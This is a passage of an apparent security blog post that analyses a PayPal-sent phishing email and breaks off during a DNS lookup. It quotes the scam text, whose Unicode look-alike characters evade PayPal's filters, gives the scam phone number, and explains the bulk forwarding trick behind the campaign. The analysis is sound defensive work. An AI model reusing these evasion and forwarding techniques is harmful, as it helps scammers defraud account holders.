srcset="https://substackcdn.com/image/fetch/$s_!oGqK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png 424w, https://substackcdn.com/image/fetch/$s_!oGqK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png 848w, https://substackcdn.com/image/fetch/$s_!oGqK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png 1272w, https://substackcdn.com/image/fetch/$s_!oGqK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff3253584-ec1e-4020-94ea-a2451fdbe1a2_1676x107.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p>Your heart skips a beat. Your stomach drops. You don&#8217;t remember starting any subscriptions, so you click the email. You see you&#8217;re being charged <strong>$1,499</strong> for a purchase you didn&#8217;t make.</p><p>You start to panic. You know phishing schemes exist, where scammers spoof legitimate email addresses. But when you check the sender, it&#8217;s a <strong>verified PayPal.com domain</strong>, sent directly from PayPal&#8217;s system.</p><p>Now you in a panic, you wonder: &#8220;Has my account been hacked?&#8221; The next step many would take is calling the phone number in the email. On the other end, a &#8220;helpful&#8221; agent pretends to be PayPal, but they are actually a scammer who will steal your account and funds.</p><p>This is exactly the situation one of my readers found themselves in. </p><p>Fortunately, instead of dialing the number, they noticed a few odd details and forwarded the email to me.</p><p>In this post, I will walk through that email step by step, highlight the red flags that show it is a phishing attempt, and explain how the scammer pulled off a scheme that appears to come directly from PayPal itself.</p><div><hr></div><h2>The Phishing Email</h2><p>Any time you receive a suspicious email, the first step is to inspect the email header. On most email providers, you can do this by clicking the arrow next to the sender&#8217;s name and selecting &#8220;View Full Header&#8221; or &#8220;Show Original.&#8221;</p><p>Scammers often spoof the sender&#8217;s address. When this happens, the email usually ends up in the spam folder because the domain is not properly verified. Sometimes scammers register domains that look very similar to legitimate ones, such as <code>rnicrosoft.com</code> instead of <code>microsoft.com</code>.</p><p>In this case, however, the sender domain is a <strong>real, verified PayPal domain</strong>, indicated by the <a href="https://support.google.com/mail/answer/13130196?authuser=1&amp;hl=en&amp;authuser=1&amp;visit_id=638997865524774701-2779148143&amp;p=bimi_verification&amp;rd=1">blue checkmark</a> next to the sender in Gmail. This means the email was actually sent from PayPal&#8217;s system, which makes it much more convincing and harder to detect as a scam.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wFR4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wFR4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png 424w, https://substackcdn.com/image/fetch/$s_!wFR4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png 848w, https://substackcdn.com/image/fetch/$s_!wFR4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png 1272w, https://substackcdn.com/image/fetch/$s_!wFR4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wFR4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png" width="1000" height="430" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:430,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:117344,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180057092?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wFR4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png 424w, https://substackcdn.com/image/fetch/$s_!wFR4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png 848w, https://substackcdn.com/image/fetch/$s_!wFR4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png 1272w, https://substackcdn.com/image/fetch/$s_!wFR4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F874e7cdd-94a4-491e-a06d-f3c8e67a1217_1000x430.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3>Red Flag #1: Email Sent to the Wrong Address</h3><p>The first red flag is that the email was sent to <code>receipt10@aldiscover.feedback</code>, an address that does not belong to the person who received it. This is a technical trick used by the scammers to forward emails without the recipient realizing it, which I will explain later in the article.</p><h3>Red Flag #2: Form Field Mismatch</h3><p>Scammers can manipulate PayPal&#8217;s merchant forms to insert fraudulent information in fields where it doesn&#8217;t belong. In this case, they used the <strong>Customer Service URL</strong> field to include a scam phone number and misleading instructions, taking advantage of the system&#8217;s weak validation.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FRlH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FRlH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png 424w, https://substackcdn.com/image/fetch/$s_!FRlH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png 848w, https://substackcdn.com/image/fetch/$s_!FRlH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png 1272w, https://substackcdn.com/image/fetch/$s_!FRlH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FRlH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png" width="1000" height="1744" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1744,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:311739,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180057092?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FRlH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png 424w, https://substackcdn.com/image/fetch/$s_!FRlH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png 848w, https://substackcdn.com/image/fetch/$s_!FRlH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png 1272w, https://substackcdn.com/image/fetch/$s_!FRlH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc1f23e87-f87a-407e-9f94-6905cfe2c7d2_1000x1744.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In the Customer Service URL field, the scammer included a valid URL to pass PayPal&#8217;s form validation, which requires a proper URL in the field.</p><p>However, the system does not check for extra text appended after the URL, and this is where the scammer inserted their malicious message.</p><p>They also used tricks to bypass PayPal&#8217;s filters, which normally block words like &#8220;PayPal&#8221; and &#8220;Support&#8221;, as well as dollar amounts and phone numbers.</p><p><strong>The text looks like this:</strong></p><pre><code>Payment of $ &#120813;&#120816;&#120821;&#120821;.&#120816;&#120821; has been successfully processed.For cancel&#10240;and&#10240;Refund, Contact &#119823;ayPal &#120294;upport at (&#120820;&#120812;&#120817;) &#120817;&#120812;&#120812;-&#120818;&#120815;&#120819;&#120819;</code></pre><p>To a human reader, it looks normal, but the scammer replaced several characters with look-alike characters that are treated differently by filters and security systems.</p><h4><strong>Dollar amount:</strong></h4><p>The digits in the amount were replaced with stylized Unicode digits.</p><ul><li><p><code>1</code> became <code>&#120813;</code></p></li><li><p><code>4</code> became <code>&#120816;</code></p></li><li><p><code>9</code> became <code>&#120821;</code></p></li></ul><h4><strong>Words:</strong></h4><p>In &#8220;PayPal Support,&#8221; only the first letters were replaced:</p><ul><li><p><code>P</code> became <code>&#119823;</code></p></li><li><p><code>S</code> became <code>&#120294;</code></p></li></ul><h4><strong>Phone number:</strong></h4><p>Every digit in the phone number was replaced with the same stylized Unicode digits:</p><ul><li><p><code>8</code> -&gt; <code>&#120820;</code></p></li><li><p><code>0</code> -&gt; <code>&#120812;</code></p></li><li><p><code>5</code> -&gt; <code>&#120817;</code></p></li><li><p><code>6</code> -&gt; <code>&#120818;</code></p></li><li><p><code>3</code> -&gt; <code>&#120815;</code></p></li><li><p><code>7</code> -&gt; <code>&#120819;</code></p></li></ul><h4><strong>Spaces:</strong></h4><p>In the phrase &#8220;cancel&#10240;and&#10240;Refund&#8221;, the normal spaces are replaced with <strong>Unicode Braille blank</strong>, which looks identical to a space:</p><p><strong>space &#8594; &#10240; (U+2800 &#8220;Braille Pattern Blank&#8221;)</strong></p><div><hr></div><h2>The Forwarding Trick</h2><p>This phishing campaign used a clever technique that forwarded the scam email to the victim while being sent from a verified PayPal.com domain.</p><p>The attacker first sent the phishing message to an address at a domain they controlled. That domain was configured to automatically forward all incoming email to the victim. I checked the domain&#8217;s MX (Mail Exchanger) record using dig:</p><pre><code>dig mx aldiscover.feedback</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gdUi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gdUi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png 424w, https://substackcdn.com/image/fetch/$s_!gdUi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png 848w, https://substackcdn.com/image/fetch/$s_!gdUi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png 1272w, https://substackcdn.com/image/fetch/$s_!gdUi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gdUi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png" width="1456" height="986" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:986,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:420368,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180057092?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gdUi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png 424w, https://substackcdn.com/image/fetch/$s_!gdUi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png 848w, https://substackcdn.com/image/fetch/$s_!gdUi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png 1272w, https://substackcdn.com/image/fetch/$s_!gdUi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7eabeb8e-3e40-4300-ad23-f895ebc321f5_1594x1079.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>The response shows:</strong></p><pre><code><code>aldiscover.feedback. 1799 IN MX 1 smtp.google.com.</code></code></pre><p>This response shows that Google handles the email for the domain. We can identify it as a Google Workspace email because it uses a custom domain while routing through Google&#8217;s servers.</p><p>According to Google Workspace <a href="https://support.google.com/a/answer/4524505?hl=en">documentation</a>, emails sent to a domain can be forwarded without verifying ownership. </p><p>The original sender is preserved in the email header using the &#8220;Add X-Gm-Original-To&#8221; setting, which keeps the original recipient information in the message header and makes the forwarded email appear as if it was sent directly from the original sender.</p><p><strong>The documentation states:</strong></p><pre><code>"Messages you redirect or forward appear to come directly from the original sender. The To: address in redirected messages includes the original recipient address only.  

Add X-Gm-Original-To header: Check this box to keep the original recipient information in the message header. You might want to do this if you manage any email based on message headers. Message header information can also be useful for troubleshooting email delivery."</code></pre><p>The attacker likely uploaded a list of emails using the bulk import feature, which allows one forwarding address to map to up to 5,000 recipients at a time. </p><p>This is also likely why the forwarding address includes a number (for example, receipt<strong>10</strong>@aldiscover.feedback), since the attacker could create multiple forwarding inboxes and assign 5,000 target addresses to each.</p><p><strong>As the documentation explains:</strong></p><pre><code>"You can more easily map a large number of address by entering them as comma-delimited entries, such as from spreadsheet. The maximum number of recipient addresses for all address maps is 5,000. For example, you can add 1 address map with 5,000 recipient addresses, 50 address maps with 100 recipients each, or 1,000 address maps with 5 recipients each."</code></pre><p>The attacker may have created many such forwarding addresses, such as:</p><pre><code>receipt1@aldiscover.feedback 
receipt2@aldiscover.feedback 
receipt3@aldiscover.feedback
etc&#8230;</code></pre><div><hr></div><h2>Domain Analysis:</h2><p>With modern web infrastructure, obtaining meaningful information from domain analysis can be challenging. Many registrars provide free privacy protection by default, which makes it difficult to identify the domain&#8217;s registrant.</p><p>Despite this limitation, it is still valuable to review basic domain registration information. WHOIS records provide publicly available details about a domain. These can include:</p><ul><li><p>The registrar</p></li><li><p>Registration and expiration dates</p></li><li><p>Name servers</p></li><li><p>Sometimes the owner&#8217;s contact information</p></li></ul><p>WHOIS records can be checked using the command:</p><pre><code>whois aldiscover.feedback </code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!E0o6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F873a8955-7011-4292-a959-118c3ca77333_1498x967.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!E0o6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F873a8955-7011-4292-a959-118c3ca77333_1498x967.png 424w, https://substackcdn.com/image/fetch/$s_!E0o6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F873a8955-7011-4292-a959-118c3ca77333_1498x967.png 848w, https://substackcdn.com/image/fetch/$s_!E0o6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F873a8955-7011-4292-a959-118c3ca77333_1498x967.png 1272w, https://substackcdn.com/image/fetch/$s_!E0o6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F873a8955-7011-4292-a959-118c3ca77333_1498x967.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!E0o6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F873a8955-7011-4292-a959-118c3ca77333_1498x967.png" width="1456" height="940" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/873a8955-7011-4292-a959-118c3ca77333_1498x967.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:940,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:536708,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/180057092?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F873a8955-7011-4292-a959-118c3ca77333_1498x967.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!E0o6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F873a8955-7011-4292-a959-118c3ca77333_1498x967.png 424w, https://substackcdn.com/image/fetch/$s_!E0o6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F873a8955-7011-4292-a959-118c3ca77333_1498x967.png 848w, https://substackcdn.com/image/fetch/$s_!E0o6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F873a8955-7011-4292-a959-118c3ca77333_1498x967.png 1272w, https://substackcdn.com/image/fetch/$s_!E0o6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F873a8955-7011-4292-a959-118c3ca77333_1498x967.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>The results show:</strong></p><ul><li><p><strong>Registrar:</strong> NameCheap. A common registrar, used by both legitimate and malicious actors.</p></li><li><p><strong>Registration Date:</strong> 2025-11-24. Extremely new; new domains are often used in phishing or scam campaigns.</p></li><li><p><strong>Expiry Date:</strong> 2026-11-24. Only a 1-year registration, typical of temporary/malicious domains.</p></li><li><p><strong>Owner Information:</strong> Redacted. Privacy protection is enabled, hiding registrant details.</p></li><li><p><strong>DNS:</strong> Default NameCheap servers.</p></li></ul><h3>Checking for a website:</h3><p>To see if the domain is used solely for email, I checked its DNS A record, which would indicate a web server if one existed. Using the command:</p><pre><code>dig A aldiscover.feedback</code></pre><p>The results show:</p><pre><code>; &lt;&lt;&gt;&gt; DiG 